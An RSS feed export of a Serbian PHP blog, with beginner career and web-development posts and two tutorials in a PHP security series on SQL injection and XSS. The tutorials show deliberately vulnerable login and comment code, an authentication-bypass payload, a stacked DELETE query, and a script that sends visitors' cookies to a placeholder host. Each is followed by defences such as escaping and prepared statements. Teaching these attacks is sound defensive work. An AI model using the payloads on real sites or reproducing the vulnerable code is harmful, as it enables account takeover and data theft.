<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Aleksandar Saša Babić - blog &#187; PHP</title>
	<atom:link href="http://www.salebab.net/teme/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.salebab.net</link>
	<description>Razvoj web aplikacija - PHP, MySQL, Javascript, Ajax, jQuery i druge psovke</description>
	<lastBuildDate>Sat, 29 Oct 2011 15:02:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Odakle početi sa pravljenjem web sajta?</title>
		<link>http://www.salebab.net/odakle-poceti-sa-pravljenjem-web-sajta/</link>
		<comments>http://www.salebab.net/odakle-poceti-sa-pravljenjem-web-sajta/#comments</comments>
		<pubDate>Tue, 25 Oct 2011 21:16:57 +0000</pubDate>
		<dc:creator>Aleksandar Babić</dc:creator>
				<category><![CDATA[CSS+HTML]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Start]]></category>

		<guid isPermaLink="false">http://www.salebab.net/?p=547</guid>
		<description><![CDATA[Jedan moj prijatelj me je zamolio da mu pomognem da uplovi u vode web razvoja, pa smo se dogovorili da to odradimo u stilu pitanja i odgovora. Za početak, on mi je postavio par pitanja, pa evo mojih odgovora. Pitanje 1: Prvo što me je zanimalo u čemu se radi, tj. šta ti koristiš za [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-554" title="Where to start" src="http://www.salebab.net/wp-content/uploads/2011/10/Where-to-start1.jpg" alt="" width="100" height="91" align="left" />Jedan moj prijatelj me je zamolio da mu pomognem da uplovi u vode web razvoja, pa smo se dogovorili da to odradimo u stilu pitanja i odgovora. Za početak, on mi je postavio par pitanja, pa evo mojih odgovora.<span id="more-547"></span></p>
<p><em><strong>Pitanje 1:</strong> Prvo što me je zanimalo u čemu se radi, tj. šta ti koristiš za kucanje koda? Nama je za ispit profa tražio Notepad++, ali sam sada instlirao Dreamweaver, koji mi nije baš legao, pa sada kucam u NetBeans-u, on mi je dobar.</em></p>
<p>U startu si napravio dobar izbor. Kada sam počinjao pre 5-6 godina tu nije bilo mnogo izbora. Dreamweaver 2004 je bio de facto najbolji editor za html i css. Meni je on u početku odgovarao jer sam mogao da splitujem view i da vidim i kod i rezultat kodiranja, onosno kako će izgledati. Nisam ni morao da pišem CSS, već da kroz razne menije stilizujem sajt. Ali, onda sam na Internetu nalazio preporuke da je taj način loš i da ništa neću naučiti, pa sam se trudio da shvatim kako funkcioniše box model, šta su block, a šta inline elementi, učio one sve fore iz CSS-a i krenuo samostalno da pišem kod. Bilo je tu mnogo muke, nisam imao nikog da mi objasni šta je šta i kako funkcioniše, već sam sam istraživao i isprobavao razne tehnike. Kad ukapiraš stvari, shvatiš koliko je to zapravo jednostavno <img src='http://www.salebab.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Kasnije, sa Dw sam prešao na Zend Studio, zato što je imao mnogo bolju podršku za PHP od Dw koji je ranije imao samo syntax hightlighing, bez autocomplete opcije.</p>
<p>Sada koristim nekoliko editora, za razvoj <a title="Netbeans IDE" href="http://www.netbeans.org" target="_blank">Netbeans </a>ili <a title="PhpStorm IDE" href="http://www.jetbrains.com/phpstorm/" target="_blank">PhpStorm</a>, neki projekti su mi u jednom, neki u drugom, nisam se još odlučio koji da mi bude default za razvoj.  Notepad++ mi je default editor u Windowsu, služi mi uglavnom za brzo pregledanje fajlova, možda neke brze izmene (ne bih da čekam 5min da mi se Netbeans digne).</p>
<p>Za bilo kakav ozbiljan razvoj jako je bitno da to bude IDE, a ne običan editor. Debugger, inteligentan autocomplete i mnoge druge pomoćne opcije se više nego korisne.</p>
<p><em><strong>Pitanje 2: </strong>Od čega početi? Prikupiti materijal, napraviti strukutru pa onda index. Ali, koje smernice pratiti? Koliko nivoa u dubinu, koliko i kakvih menija praviti?</em></p>
<p>Nema nekog univerzalnog pravila i uglavnom zavisi od vrste i veličine projekta. Na primer, nekada je dobro  krenuti od dizajna, nekada od definisanja strukture i elemenata, nekada od projektovanja baze podataka, a nekada i od pisanja frejmvorka.</p>
<p>Verovatno se pitanje odnosi na strukturu svih stranica, odnosno sitemap iliti hijerarhiju stranica. Jedno je samo važno &#8211; web razvoj nema konačno stanje, pa ti zato preporučujem da krećeš od jednostavnijih struktura, do prvog nivoa. Kasnije, uvek možeš dorađivati i širiti hijerarhiju, što opet zavisi od tipa projekta, ali uvek vodi računa da to bude što jednostavnije za razumevanje.</p>
<p><em><strong>Pitanje 3:</strong> Horizontalni meni – neko ga uradi kao UL listu, a negde sam video i kao skup „left float“ divova. Šta je bolje?</em></p>
<p>Bolje je da to bude lista linkova (UL LI) i to samo zbog semantike, jer je nekako logično da ti linkovi budu grupisani u neku listu, dok DIV (divizija ili sekcija) element bi trebalo da koristiš za grupisanje i pozicioniranje elemenata na strani (npr header, footer, sidebar, article). U oba slučaja, CSS kod će biti maltene isti.</p>
<p><em><strong>Pitanje 4</strong>: Posle završene index stranice, da li prekopirati kod (tj header, footer, menu divove) pa menjati centralni sadržaj tako dobiti nove html stranice ili se to radi na neki drugi način</em></p>
<p>Ne, nikako. To će ti postati najgora noćna mora kada budeš trebao nešto da promeniš, moraćeš to isto da uradiš na mnogo drugih mesta. Razmisli o tome da uporedo sa HTML i CSS-om učiš i PHP.  Ukratko, vrlo je jednostavno da podeliš HTML na delove i da ih „ubacuješ“ na stranicu po potrebi, pa tako možeš imati više HTML fajlova sa PHP ekstenzijom – header.php, index.php, footer.php i onda ćeš samo u index.php dodati &lt;?php include „header.php“; ?&gt; To je najjednostavan primer, vremenom ćeš videti kako neki paterni (<a title="MVC" href="http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller" target="_blank">MVC</a>) i neke biblioteke (<a href="http://www.smarty.net" target="_blank">Smarty</a>) ti mogu dosta olakšati razvoj.</p>
<p>Srećno, javi kada napraviš i postaviš svoj prvi sajt <img src='http://www.salebab.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div style="float: right; margin-left: 10px;"><a href="http://twitter.com/share?url=http://www.salebab.net/odakle-poceti-sa-pravljenjem-web-sajta/&via=salebab&text=Odakle početi sa pravljenjem web sajta?&related=:&lang=en&count=horizontal" class="twitter-share-button">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.salebab.net/odakle-poceti-sa-pravljenjem-web-sajta/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Kako postati Web Developer ili PHP Programer?</title>
		<link>http://www.salebab.net/kako-postati-web-developer-php-programer/</link>
		<comments>http://www.salebab.net/kako-postati-web-developer-php-programer/#comments</comments>
		<pubDate>Sat, 12 Mar 2011 19:25:58 +0000</pubDate>
		<dc:creator>Aleksandar Babić</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.salebab.net/?p=333</guid>
		<description><![CDATA[Za početak, neke stvari moraju biti jasne. Developer i programer nisu iste osobe. Ni po znanju, ni po iskustvu, ni po poslovima koje obavljaju. Developer razvija, dizajnira, implementira, pronalazi nova i savremena rešenja, razmišlja, standardizuje&#8230; Programer ima dosta manje obaveza i uglavnom samo jednu &#8211; da programira. Da tuđe ideje pretvori u kôd. Međutim, i [...]]]></description>
			<content:encoded><![CDATA[<p><img class="size-full wp-image-39 aligncenter" title="hello-world" src="http://www.salebab.net/wp-content/uploads/2010/01/hello-world.jpg" alt="Hello world" width="494" height="281" /></p>
<p>Za početak, neke stvari moraju  biti jasne. Developer i programer nisu iste osobe. Ni po znanju, ni po  iskustvu, ni po poslovima koje obavljaju. Developer razvija, dizajnira,  implementira, pronalazi nova i savremena rešenja, razmišlja,  standardizuje&#8230; Programer ima dosta manje obaveza i uglavnom samo jednu &#8211; da programira. Da tuđe ideje pretvori u kôd. Međutim, i developer mora  biti programer, ali ga je i odavno prevazišao.<br />
Ali pre nego što je postao web developer, morao je početi od prvog koraka &#8211; <span style="text-decoration: underline;"><strong>učenje</strong></span>. Ako želiš da budeš web developer, moraš naučiti neki  od popularnih &#8220;server side&#8221; programskih jezika. Da li će to biti PHP,  ASP.NET ili Ruby, na tebi je. Gledaj samo da pri odluci uzmeš u obzir  trenutno stanje tržišta. Pogledaj i oglase za zapošljavanje. Trenutno,  PHP je jedan od najpopularnijih jezika, a kvalitetnih programera ima  veoma malo. Oni kvalitetniji već imaju posla preko glave.</p>
<p><span id="more-333"></span>Dakle, odabrao si PHP, lepo <img src='http://www.salebab.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Sada ti je potrebno samo <strong>vreme </strong>i <strong>resursi</strong>.  Vreme je relativno i zavisi od čoveka do čoveka. Meni je trebalo oko 8  meseci, uz studiranje, bez prethodnog iskustva u programiranju, da bih  mogao da kažem da sam PHP programer. Ti ćeš verovatno moći dosta brže,  sve zavisi od tvoje volje i želje za znanjem. Ne zaboravi samo da  uporedo moraš da učiš i HTML i CSS i mislim da ti je jasno i zašto. To  znanje možeš steći na razne načine, a evo i nekih preporuka:</p>
<ul>
<li>Kupiti <strong>knjigu </strong>je  dobar izbor. Cene su od 20 do 50 € i kupovina knjige o programskom  jeziku za tebe treba da predstavlja investiciju koja će ti se uskoro  veoma isplatiti. Ovde i nije toliko bitan naslov, ni autor, bitno je da  pokriva barem PHP verziju 5.0.</li>
<li>Raspitati se o <strong>kursevima, seminarima i predavanjima</strong>.  Ukoliko studiraš, raspitaj se u studentskim organizacijama koje se bave  IT-em. (Na FON-u je takav kurs besplatan za članove <a href="http://www.fonis.rs/" target="_blank">FONIS</a>-a). Možeš i  da pretražiš web i da nađeš škole računara koje održavaju ovakve  kurseve. Ili pak, pitaj mene da za privatni čas <img src='http://www.salebab.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
<li><strong>Online kursevi</strong> &#8211; definitivno najjeftiniji način sticanja znanja. Ukoliko imaš brzi pristup Internetu, pogledaj <a title="ove video kurseve" href="http://net.tutsplus.com/articles/web-roundups/who-needs-university-the-best-nettuts-screencast-training-courses/">ove video kurseve</a>. I to nije sve, surfuj, naćićeš gomilu resursa!</li>
<li><strong>Budi u toku</strong> &#8211; učlani se i priključi se na online forume i diskusije. Pitaj, čitaj,  uči od drugih i deli svoje iskustvo sa drugima. Preporuka &#8211; <a title="StackOverflow" href="http://www.stackoverflow.com/">StackOverflow</a>. Takođe, poveži se sa ljudima iz svoje braše.</li>
</ul>
<p>Imaj  u vidu da samo čitanje knjige, posećivanje predavanja i seminara ti  neće mnogo pomoći. Rešenje i sam znaš &#8211; vežba. Za početak, napravi  jednostavnu aplikaciju koja ti procesira formular. Zatim napravi  jednostavnu knjigu gostiju. A zatim reši konkretan problem &#8211; pronađi  nekoga kome treba web sajt i ponudi da mu to uradiš besplatno.  Preporučujem ti da to bude neka neprofitna organizacija, jer ćeš u  većini slučajeva dobiti pozitivan odgovor, čak i ako nemaš iskustva.</p>
<p>U  tom trenutku kriva tvog iskustva i znanja će naglo početi da raste.  Iskoristi to. Budi kreativan, trudi se da budeš i dizajner. Uči  Photoshop. Uči <a title="Javascript, jQuery i AJAX" href="http://www.salebab.net/ajax-javascript-tehnologija-koju-moras-znati/" target="_blank">JavaScript i jQuery</a>. Razmišljaj &#8211; trudi se da na pravi način rešiš tvom klijentu problem.</p>
<h2>Postani iskusan PHP programer</h2>
<p>Sledeći period tvog života se zove sticanje iskustva, znanja i profita. Postoji samo nekoliko pravaca kojima možeš krenuti:</p>
<p><strong>Freelancing </strong>-  ili po srpski &#8211; rad na crno <img src='http://www.salebab.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Mogućnosti za privlačenje novih  klijenata su neograničene. Možeš voditi blog, imati svoj sajt sa  portofoliom, možeš se predstavljati kao &#8220;<strong><em>agencija </em>za web dizajn i programiranje</strong>&#8220;&#8230; pogledaj  već sledeći link &#8211; <a href="http://freelanceswitch.com/blog/explore/">http://freelanceswitch.com/blog/explore/</a>.</p>
<p><strong>Radni odnos</strong> u Internet kompaniji ili kompaniji koja se bavi razvojem web  aplikacija. Za mnoge ovaj vid sticanja iskustva je pogodniji i jedan od  glavnih pogodnosti je sigurnost. Međutim, do takvog posla je i teže  doći, zbog nedostatka iskustva. Prirodni tok je da radiš na crno, a  posle nekog vremena, odnosno posle nekoliko završenih projekata da se  prebaciš na legalno.</p>
<p>Imaj u vidu da možeš raditi i oba posla  istovremeno. Samo pažljivo, ukoliko budeš bio prepoterećen u jednom  pravcu, drugi pravac će trpeti na produktivnosti. Radi to veoma pažljivo  i dobro biraj klijente.</p>
<p>Moram ti napomenuti još da mnogi web developeri mogu biti <em>self-employed</em>, ili pak mogu otvoriti svoju legalnu agenciju za pružanje development usluga ili Internet kompaniju. Ako se odlučiš za to, ti prestaješ da budeš web developer i postaješ <strong>preduzetnik</strong>.</p>
<div style="float: right; margin-left: 10px;"><a href="http://twitter.com/share?url=http://www.salebab.net/kako-postati-web-developer-php-programer/&via=salebab&text=Kako postati Web Developer ili PHP Programer?&related=:&lang=en&count=horizontal" class="twitter-share-button">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.salebab.net/kako-postati-web-developer-php-programer/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>SQL Injection (Sigurnost PHP aplikacija &#8211; 5. deo)</title>
		<link>http://www.salebab.net/sql-injection-sigurnost-php-aplikacija-5-deo/</link>
		<comments>http://www.salebab.net/sql-injection-sigurnost-php-aplikacija-5-deo/#comments</comments>
		<pubDate>Sun, 05 Sep 2010 10:56:09 +0000</pubDate>
		<dc:creator>Aleksandar Babić</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Sigurnost]]></category>

		<guid isPermaLink="false">http://www.salebab.net/?p=230</guid>
		<description><![CDATA[Ovo je četvrti u seriji članaka o sigurnosti PHP aplikacija. Pogledajte Sigurnost PHP aplikacija, Osnove sigurnosti, Validacija i filtriranje inputa i XSS Dok XSS predstavlja indirektan napad na korisnike, SQL Injection predstavlja direktan napad na PHP aplikaciju, odnosno na bazu podataka. Cilj ovog napada je da se izmeni određeni SQL upit kako bi se izršile [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center; background-color: #fffbcc; font-size: 10px; color: #808080;">Ovo je četvrti u seriji članaka o sigurnosti PHP aplikacija. Pogledajte <a href="http://www.salebab.net/sigurnost-php-aplikacija/">Sigurnost PHP aplikacija</a>, <a href="http://www.salebab.net/osnove-sigurnosti-sigurnost-php-aplikacija-2-deo/">Osnove sigurnosti</a>, <a href="http://www.salebab.net/validacija-i-filtriranje-inputa-sigurnost-php-aplikacija-3-deo/">Validacija i filtriranje inputa</a> i <a href="http://www.salebab.net/cross-site-scripting-xss-sigurnost-php-aplikacija-4-deo/">XSS</a></p>
<p>Dok <a href="http://www.salebab.net/cross-site-scripting-xss-sigurnost-php-aplikacija-4-deo/">XSS</a> predstavlja indirektan napad na korisnike, SQL Injection predstavlja direktan napad na PHP aplikaciju, odnosno na bazu podataka. Cilj ovog napada je da se izmeni određeni SQL upit kako bi se izršile razne akcije, od dobijanja aletrantivnih podataka, do izmene ili brisanja podataka iz baze podataka.<span id="more-230"></span><br />
Napad SQL Injection-om se uglavnom vrši na skripte za proveru autentifikacije korisnika, odnosno prilikom provere korisničkog imena i lozinke, kako bi se SQL upit izmenio i uvek izvršio tako da uvek &#8220;dohvata&#8221; podatke o nekom korisniku.  Sledeći primer demonstrira propust prilikom provere korisničkih podataka:</p>
<pre class="brush: php; title: ; notranslate">&lt;?php
// podaci sa login forme
$username = $_POST['username'];
$password = $_POST['password'];

// provera podataka
$sql = &quot;SELECT * FROM korisnici WHERE username = '$username' AND password = '$password'&quot;;
$result = mysql_query($sql);
if(mysql_num_rows($result) &gt; 0) {
	// korisnik je ulogovan...
}
?&gt;</pre>
<p>Ukoliko bi napadač u ovakav login formular umesto korisničkog imena i lozinke uneo sledeću vrednost:</p>
<pre class="brush: sql; title: ; notranslate">a' OR '1' = '1</pre>
<p>SQL upit koji bi se izvršio izgledao bi ovako:</p>
<pre class="brush: sql; title: ; notranslate">SELECT * FROM korisnici WHERE username = 'a' OR '1'='1' AND password = 'a' OR '1'='1'</pre>
<p>Ovakav upit bi sigurno vratio podatke o nekom korisniku, i u ovom konkretnom primeru omogućio bi korisniku da bude ulogovan. Dodavanjem još nekih uslova, na primer WHERE id = &#8217;1&#8242;  ili nekog drugog ID-a, postoji velika verovatnoća da će biti autorizovan kao administrator sistema.<br />
Osim kod provere autentifikacije, može se iskoristiti i u druge zlonamerne svrhe, a jedan od njih je ubacivanje dodatnog upita koji može uništiti podatke ili neke druge zlonamerne akcije.<br />
Sledeći primer demonstrira SQL injection u cilju izvršenja dodatnog upita:</p>
<pre class="brush: php; title: ; notranslate">// ubacivanje dodatnog upita
$name = &quot;Pera'; DELETE FROM korisnici”;
mysql_query(&quot;SELECT * FROM korisnici WHERE name='$name'&quot;);
</pre>
<p>Izvšenje više upita odjednom nije podržano u <strong>mysql_query()</strong> funkciji, ali drugi drajveri, npr za PostgreSQL ili SQLite, to dozvoljavaju, pa tako izvšenje ovakvog koda predstavlja ozbiljan sigurnosni propust.</p>
<h2>Zaštita</h2>
<p>Kao što je već spominjano u ranijim glavama, filtriranje inputa može sprečiti većinu sigurnosnih problema i obavezna je stavka sigurne aplikacije. Ukoliko bi filtrirali podatke tako da korisniku zabranimo unos specijalnih karaktera specifičnih za SQL upite, na primer apostrofe, i za lozinke možemo da koristimo jednosmerne enkripcije, na primer md5, sigurno bi povećali sigurnost. Međutim,postoje i druge metode za sprečavanje napada, a da dozvolimo sve karaktere:<br />
•	Escape inputa – <strong>mysql_real_escape_string()</strong><br />
•	Pripremljeni izrazi</p>
<h3>mysql_real_escape_string()</h3>
<p>Ova funkcija pripada mysql drajveru, ali je poseduje i mysqli drajver (mysqli_real_escape_string) i osigurava da će svi specijalni karakteri biti pravilno eskejpovani, odnosno da se pri građenju upita i dalje ponašaju kao sastavni deo tog stringa i nikako ne iskoriste u izmeni upita. Ova funkcija je &#8220;best practice&#8221; i mora se izvršiti nad svim promenjivima koji grade upit.</p>
<pre class="brush: php; title: ; notranslate">$username = mysql_real_escape_string($_POST['username']);</pre>
<p>Upit za gore navedeni primer nakon eskejpovanja-a promenjivih izgleda ovako:</p>
<pre class="brush: sql; title: ; notranslate">SELECT * FROM korisnici WHERE username = 'a\' OR \'1\'=\'1' AND password = 'a\' OR \'1\'=\'1'</pre>
<p>i zaštićen je od SQL injection napada. Pošto ove funkcije za eskejpovanje pripadaju drajveru za rad sa bazom podataka, sve kose crte &#8220;\&#8221; neće biti unete sa ostalim podacima u bazu, što nije slučaj u korišćenju addslashes funkcije.<br />
<strong>Napomena:</strong> Pretpostavka je da je isključen <strong>magic_quotes_gpc</strong>, u suprotom se podaci moraju normalizovati, pa tek onda eskejpovati. Normalizacija podataka je objašnjena ranije.</p>
<h3>Pripremljeni izrazi (Prepared statements)</h3>
<p>Pripremljeni izrazi nisu tolika velika novost, ali mnogi programeri početnici izbegavaju da ih koriste, a verovatno je to zbog slabog razumevanja načina na koji rade. Pre svega, treba napomenuti da pripremljeni izrazi ne mogu da se koriste u starim verzijama drajvera, kao što je standaradni mysql. Takoreći, mysql drajver je starijeg datuma i njegov dalji razvoj je odavno obustavljen. Čak je i preporuka PHP konzorcijuma da se on potpuno izbaci iz korišćenja i da se koriste drajveri kao što su MySQLi i PDO. Ova dva drajvera su dosta brži i poseduju dosta sigurnosnih karakteristika.<br />
Priprema izraza, odnosno njegovo građenje se odvija na MySQL serveru, pa stoga ne postoji mogućnost same izmene upita u php aplikaciji, a zbog načina na koji radi, ni na serveru. Prilikom pisanja upita, umesto promenjivih vrednosti koriste se operater &#8220;?&#8221;, a promenjive se šalju posebnom funkcijom, onim redosledom kakvim se ubacuju u upit.<br />
Sledeći kôd opisuje rad MySQLi drajvera i pripremljenih izraza:</p>
<pre class="brush: php; title: ; notranslate">&lt;?php
$username = $_POST['username'];
$password = $_POST['password'];

// Konekcija sa MySQL bazom
$mysqli = new mysqli('localhost', 'user', 'password', 'world');

$stmt = $mysqli-&gt;prepare(&quot;SELECT * FROM korisnici WHERE username = ? AND password = ? LIMIT 1&quot;);
// Vrednosti promenjivih se šalju na u upit
$stmt-&gt;bind_param('ss', $username, $password);

// izvršavanje upita
$stmt-&gt;execute();

if($stmt-&gt;affected_rows &gt; 0) {
	// korisnik je ulogovan
}

//...

// zatvaranje izraza i upita
$stmt-&gt;close();
?&gt;
</pre>
<p>Više o MySQLi drajveru i njegovim funkcionalnostima možete saznati na adresi:<br />
<a href="http://php.net/manual/en/book.mysqli.php" target="_blank">http://php.net/manual/en/book.mysqli.php</a></p>
<div style="float: right; margin-left: 10px;"><a href="http://twitter.com/share?url=http://www.salebab.net/sql-injection-sigurnost-php-aplikacija-5-deo/&via=salebab&text=SQL Injection (Sigurnost PHP aplikacija - 5. deo)&related=:&lang=en&count=horizontal" class="twitter-share-button">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.salebab.net/sql-injection-sigurnost-php-aplikacija-5-deo/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Cross Site Scripting &#8211; XSS (Sigurnost PHP aplikacija &#8211; 4. deo)</title>
		<link>http://www.salebab.net/cross-site-scripting-xss-sigurnost-php-aplikacija-4-deo/</link>
		<comments>http://www.salebab.net/cross-site-scripting-xss-sigurnost-php-aplikacija-4-deo/#comments</comments>
		<pubDate>Sun, 25 Apr 2010 15:20:59 +0000</pubDate>
		<dc:creator>Aleksandar Babić</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Sigurnost]]></category>

		<guid isPermaLink="false">http://www.salebab.net/?p=181</guid>
		<description><![CDATA[Ovo je četvrti u seriji članaka o sigurnosti PHP aplikacija. Pogledajte Sigurnost PHP aplikacija, Osnove sigurnosti i Validacija i filtriranje inputa XSS je tip sigurnosnih propusta koji je karakterističan za web aplikacije koji omogućava napadaču da ubaci kôd koji se izvršava na klijentskoj strani (JavaScript, ActiveX, HTML) u našu web stranicu. Cilj ovakvog napada je [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center; background-color: #fffbcc; font-size: 10px; color: #808080;">Ovo je četvrti u seriji članaka o sigurnosti PHP aplikacija. Pogledajte <a href="http://www.salebab.net/sigurnost-php-aplikacija/">Sigurnost PHP aplikacija</a>, <a href="http://www.salebab.net/osnove-sigurnosti-sigurnost-php-aplikacija-2-deo/">Osnove sigurnosti</a> i <a href="http://www.salebab.net/validacija-i-filtriranje-inputa-sigurnost-php-aplikacija-3-deo/">Validacija i filtriranje inputa</a></p>
<p><strong>XSS </strong>je tip sigurnosnih propusta koji je karakterističan za web aplikacije koji omogućava napadaču da ubaci kôd koji se izvršava na klijentskoj strani (JavaScript, ActiveX, HTML) u našu web stranicu. Cilj ovakvog napada je dobijanje osetljivih podataka kao što su korisničke sesije (cookie), odvođenje na drugu stranicu ili bilo koji drugi cilj koji se može postići izvršenjem koda na korisničkoj strani.</p>
<p>XSS-u su najčešće podložne web aplikacije koje ispisuju korisnički sadržaj – na primer: forumi, knjige gostiju, komentari članova i druge.</p>
<p><span id="more-181"></span>Sledeći primer opisuje XSS napad na stranicu koja ispisuje komentare članova.  Ukoliko bi imali formu za upis komentara sličnu ovoj:</p>
<pre class="brush: xml; title: ; notranslate">
&lt;form action=&quot;komentar.php&quot; method=&quot;POST&quot; /&gt;
    Vaše ime: &lt;input type=&quot;text&quot; name=&quot;ime&quot; /&gt;&lt;br /&gt;
    Komentar: &lt;textarea name=&quot;komentar&quot; rows=&quot;10&quot; cols=&quot;60&quot;&gt;&lt;/textarea&gt;&lt;br /&gt;
    &lt;input type=&quot;submit&quot; value=&quot;Upišite komentar&quot; /&gt;
&lt;/form&gt;
</pre>
<p>i PHP skriptu koja ispisuje komentar</p>
<pre class="brush: php; title: ; notranslate">&lt;?php
echo &quot;&lt;p&gt;$ime je napisao:&lt;br /&gt;&quot;;
echo $komentar .&quot;&lt;/p&gt;&quot;;
?&gt;</pre>
<p>definitivno bi imali ozbiljan sigurnosni propust. Korisnik može upisati komentar, ali i dodati HTML i JavaScript koji neće biti vidljiv od strane drugih korisnika. Komentar sa kojim napadač može ukrasti podatke o sesiji, koji se čuvaju u cookiu je sledeći:</p>
<pre class="brush: xml; title: ; notranslate">&lt;script&gt;
	document.location = 'http://www.example.com/ukradi.php?kolacic=' +
      document.cookie
&lt;/script&gt;
</pre>
<p><strong>Ako bi bilo koji korisnik posetio ovu stranu, koja sadrži komentar sa ovim kôdom, biće preusmeren na drugu adresu. </strong>Ne samo da će svi naši korisnici otići na neki drugi sajt, već će napadač moći da pristupi <strong>našim kolačićima</strong> preko GET metode.<br />
U zavisnosti od naših potreba, postoji više rešenja i više različitih PHP funkcija koje nam mogu pomoći.</p>
<h2>HTML entiteti</h2>
<p>Jedno od rešenja za XSS je da specijalne HTML karaktere (&lt;, &gt;, &#8216;, &#8220;, &amp;)  konvertujemo u njihove tekstualne entitete (&amp;lt;, &amp;gt;, &amp;apos;, &amp;quot;, &amp;amp; ) i tako možemo biti sigurni da će HTML kôd biti ispisan onako kako je unet, pa tako i JavaScript neće biti izvšen.<br />
PHP poseduje dve funkcije koje konvertuju HTML tagove u entitete. Jedna od njih je <a href="http://php.net/manual/en/function.htmlspecialchars.php" target="_blank">htmlspecialchars</a> koja konvertuje gore navedene HTML tagove u odgovarajuće entitete:</p>
<pre class="brush: php; title: ; notranslate">&lt;?php
$komentar = htmlspecialchars(&quot;&lt;a href='test'&gt;Test&lt;/a&gt;&quot;, ENT_QUOTES);
echo $komentar; // &amp;lt;a href=&amp;#039;test&amp;#039;&amp;gt;Test&amp;lt;/a&amp;gt;
?&gt;
</pre>
<p>Odnosno, zaštita za našu skriptu za ispis komentara bi bila:</p>
<pre class="brush: php; title: ; notranslate">&lt;?php
// konvertovanje outputa
$ime = htmlspecialchars($ime);
$komentar = htmlspecialchars($komentar);

echo &quot;&lt;p&gt;$ime je napisao:&lt;br /&gt;&quot;;
echo $komentar .&quot;&lt;/p&gt;&quot;;
?&gt;
</pre>
<p>Druga funkcija je <a href="http://php.net/manual/en/function.htmlentities.php" target="_blank">htmlentities</a> koja konvertuje sve specijalne karaktere u svoje entitete, kao što su ©, », € i druge.</p>
<h2>Izbacivanje HTML tagova</h2>
<p>Drugi način sprečavanja XSS-a je izbacivanje HTML tagova iz komentara. Za ovo je potrebna vrlo jednostavna funkcija – <a href="http://php.net/manual/en/function.strip-tags.php" target="_blank">strip_tags</a> koja jednostavno briše sve HTML i PHP tagove i ostavlja čist tekst.</p>
<pre class="brush: php; title: ; notranslate">&lt;?php
$komentar = '&lt;p&gt;Tekst u paragrafu.&lt;/p&gt;&lt;!-- Komentar --&gt; &lt;a href=&quot;# &quot;&gt;Link&lt;/a&gt;';
echo strip_tags($komentar);
?&gt;</pre>
<p>]</p>
<p>U ovom slučaju, svi html tagovi će biti izbačeni i biće ispisan samo sledeći tekst:</p>
<pre class="brush: xml; title: ; notranslate">Tekst u paragrafu. Link</pre>
<p><a href="http://php.net/manual/en/function.strip-tags.php" target="_blank">strip_tags</a> ima još jednu mogućnost, a to je da izostavi tagove koje ne želimo da izbacimo. Na primer, ukoliko želimo da omogućimo korisnicima da koriste jednostvno formatiranje teksta, kao na primer: bold, em i sl, možemo koristiti:</p>
<pre class="brush: php; title: ; notranslate">strip_tags($komentar, '&lt;strong&gt;&lt;em&gt;&lt;u&gt;');</pre>
<p>Međutim, moramo uzeti u obzir da se JavaScript može izvršiti unutar bilo kojeg taga, korišćenjem atributa onLoad ili onClick i sličnih, pa stoga ovakvo filtriranje može predstavljati sigurnosni rizik.</p>
<p>P.S. Sledeći tekst o sigurnosti PHP aplikacija biće o SQL injection-u. Stay tuned <img src='http://www.salebab.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div style="float: right; margin-left: 10px;"><a href="http://twitter.com/share?url=http://www.salebab.net/cross-site-scripting-xss-sigurnost-php-aplikacija-4-deo/&via=salebab&text=Cross Site Scripting - XSS (Sigurnost PHP aplikacija - 4. deo)&related=:&lang=en&count=horizontal" class="twitter-share-button">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.salebab.net/cross-site-scripting-xss-sigurnost-php-aplikacija-4-deo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Jednostavna matematička SPAM i bot zaštita</title>
		<link>http://www.salebab.net/jednostavna-matematicka-spam-i-bot-zastita/</link>
		<comments>http://www.salebab.net/jednostavna-matematicka-spam-i-bot-zastita/#comments</comments>
		<pubDate>Mon, 19 Apr 2010 21:57:56 +0000</pubDate>
		<dc:creator>Aleksandar Babić</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[anti-spam]]></category>
		<category><![CDATA[code]]></category>

